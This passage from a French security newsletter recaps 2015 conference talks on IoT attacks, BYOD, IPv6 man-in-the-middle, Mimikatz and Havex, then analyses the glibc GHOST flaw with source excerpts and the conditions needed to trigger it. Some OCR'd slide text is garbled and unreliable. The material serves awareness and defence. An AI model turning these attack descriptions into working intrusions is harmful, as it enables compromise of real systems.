tions offertes aux PME, entre attendre une aide de I'Etat qui
n‘arrive qu’exceptionnellement et se faire racheter par une
plus grosse société, bien souvent étrangere.

CARA : les 4 dimensions de la sécurité des objets
connectés
Gérome BILLOIS et Chati HANTOUCHE (Solucom)

Les deux consultants de Solucom ont débuté la conférence
en dressant le panorama de ce qui existe aujourd’hui sur le
marché des objets connectés. Ils ont défini 4 grandes caté-
gories d’objets connectés :

= Maison & Domotique (ex : détecteur de fumée) ;

= Sécurité physique (ex : caméra) ;

== Mobilité (ex : montre connectée) ;
== Santé & bien-étre (ex : bracelet connecté).

Le nombre d’objets connectés devrait exploser et atteindre
plusieurs milliards d’ici 2020 (20 milliards selon Gartner).
Ainsi, la surface d’attaque sera de plus en plus large.

Pour rentrer dans le vif du sujet, ils sont justement reve-
nus sur les attaques existantes, présentées notamment lors
de la Black Hat ces dernieres années : attaques sur les pa-
cemakers, prise de contrdle d’une voiture, piratage d'une
TV connectée, attaques sur les « smart home » comme les
thermostats, etc.

« Gerome et Chati sont revenus
sur les attaques existantes
[...]
attaques sur les pacemakers, prise de
controle d’une voiture, piratage d’une TV
connectée, attaques sur les « smart home »
comme les thermostats, etc.»

Les deux speakers ont dévoilé leur méthode CARA. Ce sont
en fait les 4 postures possibles des entreprises pour les ob-
jets connectés. Associé aux 4 catégories, cela génere une
matrice de risques. Les différents points et problématiques
liés a chaque posture ont été définis :

== Concevoir des objets (EDF, Withings, Peugeot...) :
- Gérer la faible connectivité (Bluetooth ou NCF : pas tres

rapide) 35
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- Concevoir I'ergonomie (saisir un mot de passe sur une
montre est compliqué)

- Prendre en compte I'autonomie (Energie consommée par
du chiffrement)

o Acquérir des objets (Banques, SNCF, etc.) :
- Demander des adaptations aux fournisseurs, s'assurer de
la bonne gestion

= Recommander (Assurances)
- Définir les responsabilités et de la conformité

== Accueillir les objets des employés (BYOD)
- Responsabiliser les utilisateurs, encadrer les usages avec
une charte...

Des attaques possibles sur les objets connectés

Black Hat USA 2014 : démonstration Black Hat USA 2014 : démonstration de la

du hack d'un pacemaker & distance prise de contrélo totale d'un véhicule
Vol de données cu partews, contrdle du nirusicn via le réseau mobile dans ko bus CAN,
pacemaker (snwoi de décnarges capabies o squipant toutes les nouvelies. voitures fabriquées
provoquer une crise cariaque), possibilts de aux USA, pour controler totalement de la machine.
cantarminer les autres pacemakers 4 partée. (k

Un élargissement du périmétre d’attaque des cybercriminels

Black Hat USA 2014 : démonstration
d'une intrusion sur une téldvision

Black Hat USA 2014 : démonsiration
daltagues sur des ebjets connectss du
micile

Utiisation du navigataur Web pour prendre le
contréle de la caméra, mocifier les
paramétres DNS et injecter des virus dans
d'autres applications.

Démonstration d'attaques sur les hubs de
contrdle de la Smart Home 3 parir d'objets
cannectés (Thermostat NEST, INSTEON Hub...)

Les deux speakers sont passés a des exemples plus concrets
et ont montré une photo ironique, mais réelle, d’'une voi-
ture affichant le message sur son tableau de bord « Mise a
jour en cours, veuillez patienter pour continuer a rouler ».
Avec cette photo, ils ont ainsi expliqué qu'il ne fallait pas
implémenter la sécurité de maniére « historique », mais

prendre en compte la spécificité de chaque objet.

La présentation s’est terminée par |'étude de cas d’'usage
sur la voiture connectée et la trés en vogue Apple Watch.
Le cas de la voiture connectée se focalisait sur une voiture
intelligente communiquant avec des bornes le long de la
route. Pour assurer la confidentialité et I'intégrité des don-
nées échangées, les speakers ont évoqué une solution
d’utilisation d’un certificat unique et aléatoire pour chaque
borne. Chaque voiture et chaque borne embarquerait ain-
si des milliers de certificats qui seraient utilisés de facon
aléatoire. La mise a jour des certificats de la voiture pour-
rait s'effectuer par le garagiste qui aurait un nouveau réle
d'utilisateur de PKI... Les colts de la main-d’ceuvre pour
entretenir sa voiture risquent encore d’augmenter.

« One more thing » comme disait Steve Jobs pour conclure
ses key notes: la fameuse Apple Watch. Apple aurait donc
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pensé a la sécurité des utilisateurs. Afin de palier a la péni-
bilité de devoir saisir son mot de passe pour déverrouiller
la montre, celle-ci se verrouille uniqguement lorsque I'uti-
lisateur la retire de son poignet, plutot astucieux comme
systeme.

Les usages de la mobilité au sein de I'entreprise (du
« BYOD » au « COPE »)

Diane MULLENEX et Guillaume MORAT (Cabinet d’avocats
Pinsent Masons LLP)

Deux d’avocats du cabinet Pinsen Masons LLP ont abordé
les usages des objets mobiles et connectés en entreprise
avec quelques chiffres :

== 78 % des entreprises francaises autorisent I'usage d’ap-
pareils personnels a des fins professionnelles ;

o= 74 9% des entreprises francaises qui autorisent leurs em-
ployés a utiliser des appareils personnels a des fins profes-
sionnelles ont des retombées positives sur la production.
Néanmoins, seulement 26 % d’entres elles disposent d'une
politique de sécurité sur le BYOD (« Bring your own device
»). Les deux speakers ont rappelé les forces, les faiblesses,
les opportunités et les menaces du BYOD.

Le contréle du salarié par son employeur

> Un employeur peut-il contréler I'activité de ses salariés au travail
en consultant les appareils mis a leur disposition ?

— Le salarié a droit au respect de sa vie privée méme sur son lieu de
travail (« vie privée résiduelle »)

— L'employeur ne peut prendre connaissance des documents
identifiés comme personnels qu'en présence du salarié sauf risque
ou événement particulier

— Les autres documents peuvent étre consultés par I'employeur en
I'absence du salarié

Mais le BYOD n’est pas seul puisqu’il existe le CYOD
(« choose your own device »), le COPE (« Corporate Owned,
Personally Enabled ») et méme le BYOCL (« Bring your own
connected life »). Ce dernier concerne I'utilisation d’outils
connectés pour analyser le comportement des salariés.
Tous ces acronymes sont difficiles a cerner et leurs aspects
juridiques different.

Les avocats ont tout de méme rappelé que, dans tous les
cas, tout salarié a le droit a sa vie privée méme sur son lieu
de travail.

Les avocats ont donné des cas concrets de jurisprudence
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lors de jugements et ont expliqué que finalement le point
noir du BYOD était la sécurité des données. D'ailleurs, il est
étonnant de constater que de plus en plus d’entreprises
tiennent le salarié responsable d’une perte de son terminal
lorsque celui-ci est soupconné de négligence.

La conférence s’est terminée sur la problématique de I'effa-
cement a distance des données sur le terminal d’un salarié
ayant quitté I'entreprise. Cette pratique est effectuée par 21
% des entreprises aux Etats-Unis. Cependant, le périmetre
des données est trés compliqué a définir et I'un des avocats
a appelé a la vigilance sur le contenu des données effacées,
qui pourraient étre personnelles.

Comprendre et détecter une intrusion de haut vol
Alexandre TRIFFAULT (OFC)

Aprés un bon repas, Alexandre TRIFFAULT, alias Mister Jack,
a présenté la facon de faire du forensic afin de détecter une
intrusion fine, sans trace d’effraction apparente. Ce forma-
teur de serrurier est un habitué des conférences de sécurité
ou il rappelle souvent que la protection logicielle ne sera
d'aucune efficacité si la sécurité physique d’une machine
est faible.

Méthodes d’intrusion : Copie de clé

o Copie par photo + Impression 3D

Alexandre TRIFFAULT // y_FR /I ure-fine.com //

Ce maitre des clés et des serrures a brievement rappelé
les différentes méthodes de crochetage de serrures et de
cadenas avec différents outils. Il a ensuite expliqué les
étapes d’une investigation, de I'établissement du péri-
meétre jusqu’au rapport d’expertise. Il a montré que les ou-
tils de crochetages laissent des traces sur les serrures et que
I'étude de celles-ci permet de prouver I'effraction et de-
comprendre quel outil a été utilisé. Il a également rappelé
que I'enquéte ne se focalise pas uniquement sur la serrure,
mais aussi sur les clés. En effet, en obtenant la totalité des
clés existantes pour une serrure, il est possible de vérifier,
par la présence de certaines traces, si une clé a servi de
modeéle pour une reproduction.

Enfin, Alexandre TRIFFAULT a donné quelques bonnes
adresses de forum telles que http://www.locksport.fr/ et
http://lockpicking101.com qui permettent d’en savoir plus
sur les serrures et techniques de crochetage.

La gestion de crise IT/SSI
Thomas LE POETVIN et Mikaél SMAHA (HSC)

Deux consultants d’HSC ont fait une présentation sur la ges-
tion de risque orienté sécurité des Systémes d’Information.
Cette présentation, plutot destinée au DSI et RSSI, rappelait
les problématiques organisationnelles et techniques dans
une situation de crise. La qualité d’une gestion de crise
a des conséquences sur I'image de I'entreprise. Les deux
consultants expliquaient que de nos jours qu'il est néces-
saire d’accepter qu’un incident puisse se produire et qu'il
est important de se concentrer plutot sur la facon de réagir
et I'aspect temporel de la réaction.

Les deux speakers ont cité les normes qui évoquent la ges-

tion de crise (27035, 27021, 22301) sans pour autant ren-
trer dans les détails (et pour le bien de leur auditorium).

s

Panorama des normes ISO et

référentiels
Normes en
Normes
1SO 27031:2011 e o
en - Prép. des TIC & Ia CA Continuité d’activité
sécurité
1SO 22301:2012

ontinuité d’activité

1SO 27035:2011
Gestion des incidents
_ - L 150 22399:2007
- BSI PAS 200 Gestion, de crise. 48
-7 Gestion de crise ~

Normes en

gestion de st"tll'os"Pdiogﬂﬁ
crise

13 Copyright Hervé Schauer Consultants 2015 - Reproduction Interdite !.';c

Is sont ainsi revenus sur le facteur humain, trés en proie au
stress en période de gestion de crise. Afin d’appréhender la
crise, il y a généralement deux facons opposées, la facon
méthodique et empirique. En citant les bon et mauvais co-
tés de chaque méthode (la facon méthodique rassure tan-
dis que I'empirique encourage la prise d'initiative), les deux
consultants ont préché un mélange des deux, en ajoutant
que le contexte était bien sdr a prendre en compte.

ﬂ“ !: Le facteur humain

» Le facteur humain est I'étude des raisons aboutissant a une
erreur humaine

» Les cellules de crise sont amenées a prendre des décisions
stratégiques dans l'urgence
@ La formation de ces membres au facteur humain est donc

indispensable
Bo%e

Incertitude sur

Biais social Solllatzliops la situation
¥ externes

<A %@

- Bi .|s nitif Incertitude des
I:dime:t Sollicitations internes - moyens

20 Copyright Hervé Schauer Consultants 2015 - Reproduction Interdite '.'l}c

Pour conclure, la gestion de crise est un moyen de se rendre
compte des différentes animosités qui résident dans cer-
taines équipes.

(XmMcol
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Démonstrations d’exploitations de failles de sécurité
Renaud LIFCHITZ (ARCI et Oppida) et Laurent CHOURAKI
(ARCI)

Dans cette conférence, pas de slide, que des démos. Le ton
était donné pour cette présentation de différentes exploi-
tations de failles de sécurité. Renaud LIFCHITZ a ouvert le
bal avec la lecture des informations personnelles stockées
sur les pass Navigo de certaines personnes du public. Il a
ainsi montré qu'il était en mesure de connaitre en quelques
secondes le lieu de travail et le lieu de résidence du pro-
priétaire d’un pass. En effet, le pass Navigo conserve les 3
derniers passages au portique du réseau RATP/SNCF avec
I'heure, le nom de la station et le numéro de portique.

El Entrée
renaud@rlibox:~/Bureau/gsdays2015/

Il s’est ensuite attaqué a une alarme contrdlée par télécom-
mande radio. Apres avoir capturé le signal émis pas la télé-
commande radio afin d’activer/désactiver I'alarme a I'aide
d’un Arduino d’une valeur de 30%, il a pu sans probleme se
passer de la télécommande en rejouant le signal. Environ
25% des alarmes du marché souffriraient de cette vulnéra-
bilité de rejeu du signal.

« Un autre membre de L’ARCI
a présenté ensuite les exploitations
Heatbleed et Shellshock.
Ces deux failles qui ont marqué I'actualité en
2014 sont trés critiques »

Pour finir sa partie, il a diffusé 2 vidéos démontrant qu'il
était possible de capturer les frappes d'un clavier avec ou
sans fil.

Un autre membre de L'ARCI a présenté ensuite les exploita-
tions Heatbleed et Shellshock. Ces deux failles qui ont mar-
qué l'actualité en 2014 sont trés critiques. Elles affectent
respectivement le protocole SSL/TLS et l'interpréteur de
commande Bash. L'objectif du speaker n'était pas de re-
présenter ces failles, largement décrites depuis, mais de
montrer qu’avec tres peu de connaissances et en quelques
minutes, un attaquant pouvait les exploiter trés facilement.

[XmMco)

Attaque de type « Man-In-The-Middle » sur réseau «
dual stack »
Karim SUDKI (SCRT)

Karim SUDKI, Ingénieur Sécurité pour SCRT a choisi de pré-
senter un outil qu'il a développé afin d’effectuer des at-
taques de type Man-in-the-Middle a I'aide des réseaux
IPv6.

Il a donc commencé par un bref rappel sur I'histoire du pro-
tocole : des années 90 et la prédiction de I'épuisement des
adresses IPv4 a I'année 2012, qui a vu le lancement officiel
de la nouvelle version sur Internet.

Mr Sudki a ensuite listé les différences les plus importantes
entre la version 4 et la version 6 du protocole, a savoir
la notation (qui passe de 32 a 128 bits), la notation des
adresses, les fonctions d’autoconfiguration (notamment
SLAAC, sur laquelle repose son attaque), ainsi que les pro-
tocoles de voisinage.

g

Afin de bien expliquer le fonctionnement de son attaque,
le consultant a enfin présenté les mécanismes de transi-
tions qui ont été mis en place afin que le passage d'IPv4
a IPv6 soit le plus transparent possible. La translation des
adresses, le tunnelling, mais surtout, le fonctionnement en
Dual Stack, qui pousse le kernel a favoriser la configuration
IPv6 lorsqu'il a le choix entre deux configurations.

Plusieurs types d'attaques basées sur IPv6 existent déja.
On peut notamment citer I'attaque de Neighbour Adver-
tisment Spoofing (qui s'approche de |'attaque bien connue
d’ARP Spoofing), I'attaque WPAD (identique a la version
IPv4) et enfin SLAAC Attack, sur laquelle repose son outil.

SLAAC Attack | Wrap-up

[Avantages]
Peu de paquets nécessaires au maintien de I'attaque

Contréle du flux et du DNS
Sélection des victimes
Moins de protection IPv6 sur réseau IPv4

[Inconvénient]
Mise en ceuvre de I'attaque fastidieuse

=> Création d’un outil pyMITM6 <=

\\ WLW.SCRT.CH
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L'attaque visant SLAAC (Stateless Address Auto Configura-
tion) permet de créer un réseau IPv6 en parallele d’'un ré-
seau IPv4 déja existant. Une machine attaquante va ainsi
se faire passer pour un serveur DHCPv6 et s’annoncer sur
le réseau, afin que les clients du réseau viennent récupérer
une adresse IPv6. Dans le cas ultra majoritaire ou la Dual
Stack serait activée, I'adressage en version 6 va prendre
le dessus sur I'adressage légitime en version 4. En utili-
sant les fonctions standard de configuration automatique,
la machine attaquante va ainsi devenir la passerelle pour
toutes les machines qui auront récupéré une configuration
IPv6. L'attaquant aura donc la possibilité d’écouter toutes
les conversations transitant par ses interfaces.

L'outil de l'ingénieur, «pyMITM6», permet d’automatiser
cette attaque. Codé en Python, sous licence GPL, et visi-
blement trés simple d'usage, le programme permet en
quelques clics de mettre en place une attaque de Man-in-
the-Middle efficace et a ce jour encore peu détectée, due a
I'absence d’intérét porté aux configurations IPv6.

Comment le Big Data améliore la sécurité sur le Web ?
Emmanuel MACE (Akama)

La deuxieme conférence technique était menée par Emma-
nuel MACE, Security Specialist chez Akamai.

L'objectif était d’apporter des éléments de réponse a la
question de I'apport du Big Data a la sécurité informatique.
En préambule, Mr Macé a présenté quelques chiffres re-
présentant le travail d’Akamai qui donnaient rapidement
le vertige. 20 Tb de données relatives a des attaques trai-
tées chaque seconde, 140K connexions en simultané, 600K
lignes de log par secondes, indexées sur 30 dimensions et
plus de 2 Pb de données stockées sur des roulements de
45 jours.

| Le Big Data en quelques chiffres (fikamai

20 Terabytes de données relatives aux attaques Bénéfices

Visibilit¢ hors normes
+  Amélioration des régles du pare-feu applicatif
+ Détection de nouvelles attaques,
+  Comélation & apprentissage, cross-client

2 Petabytes de données “sécurité” stockées
45 jours de retention
140K connexions simultanées (données entrantes) + Un puissant outil de recherche

600K log lines / sec. indexées en 30 dimensions « Création de nouvelles régles de

filtrage

8000 requétes journaliéres scannant des terabytes

de données * Reéputation client

2016 anAL | FASTER FORWARD™

La société a donc décidé d'utiliser ces données afin de faire
progresser la sécurité sur Internet et de permettre une re-
cherche plus efficace sur 'origine des attaques récurrentes
sur le réseau mondial.

A I'aide d’un outil développé en interne, Akamai attribue

une note (un score entre 1 et 10) a prés de 40 millions
d’adresses IP uniques chaque jour. L'évaluation d’une
adresse se base sur ses actions, la note étant abaissée
lorsque I'adresse effectue des attaques WEB, des attaques
de déni de service, des scans et utilise des scrappers. Ces
actions, qui peuvent parfois étre légitimes, sont modérées
en fonction de la persistance, de la sévérité, de la magni-
tude et de la distribution de I'attaque.

Ces notes évoluent toutes les heures pour toutes les
adresses suivies.

A I'aide de cette base de connaissances colossale, Akamai
est en mesure de répondre plus rapidement aux requétes
des opérateurs, ou de la justice, afin de connaitre les ac-
tions provenant d'une adresse IP spécifique. Les opérateurs
peuvent aussi se baser sur la « réputation » (sa note sur
le long terme) d'une IP afin d’autoriser, ou pas, celle-ci a
communiquer avec son réseau.

La quéte du code source maintenable, fiable et sécurisé
Sébastien GIORGA (Advens)

Sébastien Gioria, Leader OWASP France, était accompagné
de Freddy Mallet, cofondateur de la société SonarSource
lors de cette troisieme présentation technique afin de pré-
senter un nouveau projet OWASP, I'outil SonarQube.

En introduction, les deux speakers ont présenté les enjeux
autour de I'analyse du code source. Souvent peu considéré
d’un point de vue de la sécurité, le code source est pourtant
la pierre angulaire de toute application. Un développement
sécurisé et une analyse rigoureuse du code remontent gé-
néralement plus efficacement des failles de sécurité qu’un
test d’intrusion une fois le développement terminé.

Approche boite noire VS
boite blanche

/\

.
A1 - Injection + +H
A2 - Violation de Session / ++ +
Authentification
A3 - Cross Site Scripting +++ +H
A4 — Références Directes + ++
A5 — Mauvaise configuration + ++
A6 — Exposition de données ++ +
A7 - Probleme d’habilitation + +
fonctionnelle
A8 - CSRF ++ +

A9 - Utilisation de Composants +H
vulnérables

A10 — Redirection et transferts

a%

Trois grands axes se dégagent autour des défauts inhérents
au développement :

o= a sécurité, avec toutes les failles d'injection connues 39
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(SQL, XSS, LDAP etc.), les identifiants stockés dans le code
source, les faiblesses cryptographiques (MD5, SHA1, etc.)

et d’autres.

=k a fiabilité, avec en ligne de mire les conditions inva-
lides, les ressources non libérées, les assignations de valeur

jamais utilisées...

== la maintenabilité, avec la duplication de code, I'absence
de tests unitaire, le mauvais design initial, 'absence de

commentaires...

Sébastien et Freddy ont donc insisté sur les méthodologies
a mettre en place afin d’améliorer significativement la qua-
lité des codes sources produits, en mettant les développeurs
au ceeur du processus de création, et en se focalisant sur les

trois axes précédents.

OWASP

‘The Open Web Application Security Project

— - Ce qu’il faut changer

* La boucle de rétroaction doit étre beaucoup

plus rapide
* Une douane applicative

non négociable doit exister
* Les développeurs doivent étre au coeur du

processus

* Le colt doit étre non significatif
* L’approche doit étre unifiée

L1

SonarQube a été créé afin d'aider a la résolution de ces

problémes. L'outil open source

dispose de regles qui per-

mettent de couvrir un non-respect de régles de codages

prédéfinies, et la découverte de

bugs de sécurité. Fonction-

nant sur la base de patterns, il n’est efficace que si son
utilisateur a déja des regles strictes de codage et souhaite
sy tenir sur I'ensemble de son projet.

La présentation s'est achevée sur une démonstration de
I'outil, capable de remonter des erreurs courantes sur de
trés nombreux langages en quelques clics.

Références

o= http://www.gsdays.fr/

o= http://www.globalsecuritymag.fr/fichiers/gsdays2015/

o= http://blog.xmco.fr/index.php?post/2014/09/19/Re-
tour-sur-le-Meeting-OWASP-France-de-septembre

[XmMco)
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> Conférences sécurité

CSQl

ecole supérieure de
genie Informatique

Pour la 3éme année consécutive, I'école ESGI a organisé
sa conférence baptisée « Security Day ». Retour sur cette
3eme édition.

La présentation de Stéphane Bortzmeyer sortait du cadre
technique afin de s’orienter vers des aspects plus « philo-
sophiques » de la sécurité informatique. La problématique
principale étant : « A qui et & quoi servent nos compé-
tences, quelle est notre responsabilité ? Quelles sont nos
possibilités de choix ? »

Différents concepts ont ainsi été mis en avant, permettant
au public de s’interroger quant aux tenants et aboutissants
des disciplines inhérentes a la sécurité.

La question du développement a tout d’abord été évoquée :

Développer pour qui (public, gouvernement, armée, so-
ciété privée, etc.) ?

Développer pour quoi(quelle sera I'utilisation future,
quels sont les détournements possibles, etc.) ?

A travers ces notions, il était avant tout question du pouvoir
et de l'influence des algorithmes avec en toile de fond le
role des développeurs, des chercheurs et des utilisateurs.
Stéphane a poursuivi en évoquant des évenements liés a
I"actualité notamment le cas Lenovo et son SuperFish moti-

vé par un pseudo-contexte publicitaire, plausible, mais tel-
lement peu crédible.

Le tout s’est ensuite orienté sur le concept d’armes numé-
riques (0-day, etc.) et les fournisseurs. Des exemples ont
été cités a l'instar de Vupen, Hacking Team, etc. Ces sociétés
aux actions « borderline » peinent a justifier pour quels mo-
tifs et a qui leur savoir-faire est vendu. Dans bien des cas,
la réponse sera « aux gouvernements », mais des lors, cela
induirait que tous les gouvernements sans exception sont
irréprochables et aptes a posséder ces armes? Sans oublier
les multiples dérives des agences de renseignement dont
le public commence a peine a soupconner I'existence (NSA,
GCHQ, DGSE, BND, etc.).

« Les sociétés telles que Vupen ou Hacking
Team peinent a justifier pour quels motifs et
a qui leur savoir-faire est vendu »

Enfin, Stéphane a remis a sa place I'idée encore trop répan-
due «si c'est possible techniquement alors je peux le faire
». Cet argument ne vaut absolument rien d’un point de vue
légal, et il est ridicule de penser le contraire. Le tout s’est
conclu sur quelques citations notamment les trois lois de la
robotique d’Asimov adaptées aux développeurs (cf. https://
larlet.fr/david/stream/2015/02/28/).

La sécurité reste donc pour certains une simple question
d’argent, ou I'éthique, la morale et plus simplement le bon
sens n‘ont aucune place. La conclusion de la présentation
se veut également sans équivoque « Une profession sans
éthique n’est qu’une armée de robots. Sans loi. »

(XmMcol
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Giovanni Rattaro et Renaud Leroy ont repris leur présen-
tation du RAT HAVEX, déja réalisée lors de la Botconf 2014
afin de restituer leur analyse et la méthodologie propre a la
traque de ce botnet.

Havex est un Remote-Access-Tool (RAT) modulaire connu
pour rechercher des Industrial Control System (ICS). A sa
découverte, différents commentaires faisaient état du
nouveau Stuxnet, mais il n’en est rien. Le serveur de com-
mande et de controle (C&() dispose d'un webshell permet-
tant de gérer I'administration du botnet. Cela permet, entre
autres, de récupérer les données exfiltrées par les bots, de
consulter les logs, etc. Différents éléments ont ensuite été
présentés : le systeme de logs via testlog.php, I'évolution
des versions du RAT, une estimation de la timeline a par-
tir de I'étude des logs récupérés, quelques statistiques de
compromission, des données géographiques, etc.

Des désagréments d’ordre matériel ont quelque peu per-
turbé la présentation et le temps imparti s’est visiblement
avéré trop court pour la restitution d’informations plus com-
pletes.

« Giovanni Rattaro et Renaud Leroy
ont repris leur présentation du RAT HAVEX,
déja réalisée lors de la Botconf 2014
afin de restituer leur analyse
et la méthodologie propre a la traque de ce
botnet. »

La partie technique a donc globalement été occultée, mais
une démo est venue s'ajouter a la présentation afin d'illus-
trer I'étude des deux orateurs.

Enfin, la présentation s’est conclue sur la présentation du

site « distint.org » mis a disposition et qui va permettre de
vérifier si I'lP saisie est infectée par le malware.

[XmMco)

Une présentation orientée « forensic » a travers quelques
« best practices » et méthodologies. L'investigation numé-
rique se veut étre une discipline mettant en corrélation la
technique et la justice. Les questions principales qu'il est
primordial de se poser sont donc : Qui ? Quoi ? Comment ?
Pourquoi ?

Cela permet de mettre avant une méthodologie divisée en
quatre axes :

Identification ;

Acquisition ;

Analyse ;

Restitution.
Frédéric a poursuivi sa présentation en rappelant quelques
termes techniques (différence des mémoires volatiles vs

non volatiles), principe « d’inception », attaques spéci-
fiques (coldboot, warmreboot), etc.

Le tout s’est ensuite orienté vers quelques explications sur
les outils win32dd, winpmem, pmem, Imap, etc.

Enfin, le projet Digital Forensic Framework (DFF) a occupé le
reste de la présentation : fonctionnalités, différentiel entre
la version community et la version payante avec démo a
I'appui permettant d’entrevoir les différents filtres et fonc-
tionnalités de I'outil (http://www.digital-forensic.org/en/).
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Alexandra et Sebastien se sont lancés dans I'automatisa-
tion, la détection et I'analyse de code malveillant dont les http://hacklab-esgi.fr/
vecteurs utilisés sont les documents de type PDF (JS, etc.),
Office (détection de I'aspect malveillant des macros VBA)

et Web.

Problématique

Une importante partie de la présentation a donc été consa-
crée aux PDFE notamment la difficulté d’extraction de
shellcode JS. Différentes raisons rendent complexes |'ex-

traction des shellcodes :

la difficulté de parsing du format (ordre des objets, le

non référencement, etc.) ;

I'utilisation d’'une API spécifique a Adobe ;

les problemes de support de l'interpréteur d’Adobe ;

les problématiques d’intégration du DOM d’Adobe dans

les interpréteurs JS usuels ;

etc.

Il est donc difficile (démo a I'appui) d’extraire de maniere
exacte un shellcode JS injecté dans un document PDF. Et
dans bien des cas, les outils désormais régulierement uti-
lisés a l'instar des Sandbox ne seront pas aptes a détecter
la présence de codes malveillants, d'ot I'importance de
I'analyse « manuelle » de documents en complément de

ces outils.

En parallele de ces conférences nous avons eu I'opportunité
de participer a I'atelier dédié a Mimikatz, présenté par son

créateur Benjamin Delpy.

En une heure, Benjamin a présenté son outil ainsi que bon
nombre de ses fonctionnalités. A I'aide d’un laboratoire vir-
tuel imitant un domaine Windows, il 3 démontré comment
il était possible avec un compte standard de devenir ad-
ministrateur du domaine. Les fonctionnalités les plus an-
ciennes comme le dump de hash aux plus récentes comme
le “Golden Ticket” ont été mises en oeuvre afin de montrer
I'évolution du logiciel depuis sa création.
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/‘"" L’Actualité du moment

Que s'est-il passé durant ['hiver
2015 au sein du petit monde de la ™
sécurité informatique ?

Ce mois-ci, nous analyserons trois failles
dont les fameuses GHOST et FREAK.

Enfin, nous reviendrons sur I’attaque
#0pFrance qui a fait parler d’elle.

Analyse de la faille GHOST CVE-2015-0235 et Samba

CVE-2015-0240
Par Cyril LORENZETTO et Etienne BAUDIN
I 4
L I T E I Attaques

I Vulnérabilités

Retour sur |'attaque #0pFrance
Par Régis SENET

MOMENT e
Analyse de la faille FREAK CVE-2015-0204

Par Adrien GUINAULT
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Ghost est le surnom donné a la vulnérabilité critique référencée CVE-2015-0235 identifiée au sein de la bibliothéque logicielle
GNU libc (glibc). Cette faille de sécurité a été fortement médiatisée. En effet, Ghost permet a un attaquant de prendre le
controle du systéeme vulnérable a distance sans aucune authentification.

Qu’est-ce que la glibc ?

La glibc est la bibliotheque standard C distribuée par le projet GNU. Aujourd’hui le principal contributeur et mainteneur est
Ulrich Drepper [0]. Elle contient les principales fonctionnalités requises afin de faire tourner correctement un systeme Unix,
ainsi que des extensions utilisées pour des développements dans le cadre du projet GNU. Ainsi, cette bibliotheque est utilisée
par la plupart des systemes Linux, ce qui explique sa popularité.

L’origine de la découverte

La vulnérabilité a été découverte par des chercheurs travaillant pour Qualys [1] [3] et a été divulguée de maniére responsable
aupres du projet GNU éditant la glibc, ainsi que des éditeurs des principales distributions Linux (Fedora, Ubuntu, Debian, Cen-
t0S, SUSE, etc.). Ces derniers ont été alertés de |'existence de cette faille plusieurs semaines avant sa médiatisation, afin de
leur laisser le temps de mettre en place et de publier les correctifs pour les utilisateurs.

Afin d'identifier la vulnérabilité plus facilement, un nom simple lui a été attribué. Il provient de la contraction du nom des
fonctions vulnérables de la glibc « gethostbyname™ ».

Description et impact de la vulnérabilité

La vulnérabilité, référencée CVE-2015-0235, provient d’une erreur au sein de la fonction « __nss_hostname_digits_dots() »,
uniquement utilisée au sein des fonctions « gethostbyname() », « gethostbyname2() », « gethostbyname_r() » ou encore «
gethostbyname2_r() ». En spécifiant des arguments spécialement choisis lors d'un appel a 'une des fonctions de la famille «
gethostbyname™ », un utilisateur malveillant serait en mesure de provoquer une corruption de la mémoire via un déborde-
ment de tampon sur le tas, résultant potentiellement en la compromission du systeme.

Les versions vulnérables vont de la glibc 2.2 a la glibc 2.17 (incluse).

(XmMcol
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Dans cette partie nous allons rentrer plus en détail afin de comprendre a quoi est due cette vulnérabilité.
La fonction vulnérable, « _ nss_hostname_digits_dots() », est appelée dans les fichiers nss/getXXbyYY.c et nss/getXXbyYY_r.c.

(buffer = )
i

buffer_size = BUFLEN;

buffer = (char *) malloc (buffer_size):
1

#1fdef HANDLE_DIGITS_DOTS
(buffer 1= )
i
(__nss_hostname_digits_dots (name, &resbuf, &buffer,
&buffer_size, 0, &result, , AF_VAL,
H_ERRNO_VAR_P))
done;
1

#endif

Fichier : nss/getXXbyYY.c

Les appels de la fonction sont encadrés par la macro #ifdef HANDLE_DIGITS_DOTS, définie dans les fichiers suivants :

inet/gethstbynm.c ; #define LOOKUP_TYPE struct hostent
#define FUNCTION_NAME gethostbyname
inet/gethstbynmz'c ; #define DATABASE_MNAME hosts

#define ADD_PARAMS const char *name
#define ADD_VARIABLES name

#define BUFLEN

#define MEED_H_ERRNO

inet/gethstbynm_r.c;

inet/gethstbynm2_r.c;

#define HANDLE_DIGITS_DOTS
nscd/gethstbynm3_r.c.

ginclude <nss/getXXbyYY.c

Fichier : inet/gethstbynm.c

Ces fichiers implémentent les fonctions « gethostbyname®() » et permettent ainsi d’accéder au débordement de tampon de la
fonction vulnérable « __ nss_hostname_digits_dots() ».

La fonction « __nss_hostname_digits_dots() » est implémentée dans le fichier nss/digits_dots.c et comporte les parameétres
suivants :

int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
char **buffer, size_t *buffer_size,

size_t buflen, struct hostent **result,
enum nss_status *status, int af, int *h_errnop)

Fichier : nss/digits_dots.c
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Au sein de cette fonction, la variable size_needed permet de calculer la taille nécessaire afin de stocker les trois entités
(host_addr, h_addr_ptrs et name) dans le tampon.

size_needed = ( (*host_addr)

+ (*h_addr_ptrs) + strlen (name) + 1);
Fichier : nss/diqits_dots.c

Les affectations des pointeurs aux 4 entités du tampon (host_addr, h_addr_ptrs, h_alias_ptr, et hostname) sont réalisées aux
lignes 121-125 :

memset (*buffer, @', size_needed);

host_addr = (Chost_addr_t *) *buffer;
h_addr_ptrs = (host_oddr_list_t *)
({char *) host_addr + (*host_addr));
h_alias_ptr = (char **) ((char *) h_addr_ptrs + (*h_addr_ptrs));
hostname = (char *) h_alias_ptr + (*h_alias_ptr);

(isdigit (name[0]))
Fichier : nss/digits_dots.c

La faille de sécurité réside dans le fait que la taille size_needed omet de prendre en compte la taille d’un pointeur sur un ‘char’
(sizeof("h_alias_ptr)). En effet, elle prend uniquement en compte host_addr, h_addr_ptrs et name.

Ainsi la fonction de copie strcopy() appelée a la ligne 157 permet d’écrire strlen(name) octets apres I'espace du tampon alloué
(4 octets sur les machines 32bits ou 8 octets pour les 64bits).

resbuf->h_name = strcpy Chostname, name);
h_alias_ptr[@] = H

Fichier : nss/digits_dots.c

Afin d’exploiter cette vulnérabilité, il existe des prérequis sur le paramétre de nom d’héte (hostname) :
Il doit comprendre uniquement des chiffres et des points (ligne 197) ;
il doit commencer par un chiffre (ligne 127) ;
Il ne doit pas terminer par un point (ligne 135) ;

Il doit étre suffisamment long pour faire déborder le tampon (allocation initiale de 1024 octets), cf. malloc(1024) au sein
des fonctions gethostbyname®().

